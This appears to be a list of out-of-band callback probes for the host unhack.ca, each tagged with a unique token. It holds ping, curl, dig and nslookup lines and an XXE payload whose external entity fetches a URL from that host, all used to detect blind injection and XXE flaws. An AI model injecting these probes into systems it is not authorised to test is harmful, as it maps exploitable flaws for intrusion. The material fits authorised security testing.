$ ping -c1 -p 00d3b1c2b98b98656da4fb51a42f8200 unhack.ca
 

$ curl http://unhack.ca/p/d3b1c2b98b98656da4fb51a42f82
 

$ dig d3b1c2b98b98656da4fb51a42f82 @unhack.ca
 

$ dig d3b1c2b98b98656da4fb51a42f82.ns.unhack.ca
 

C:\> nslookup d3b1c2b98b98656da4fb51a42f82 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d3b1c2b98b98656da4fb51a42f82">]>
    <foo>&xxe;</foo>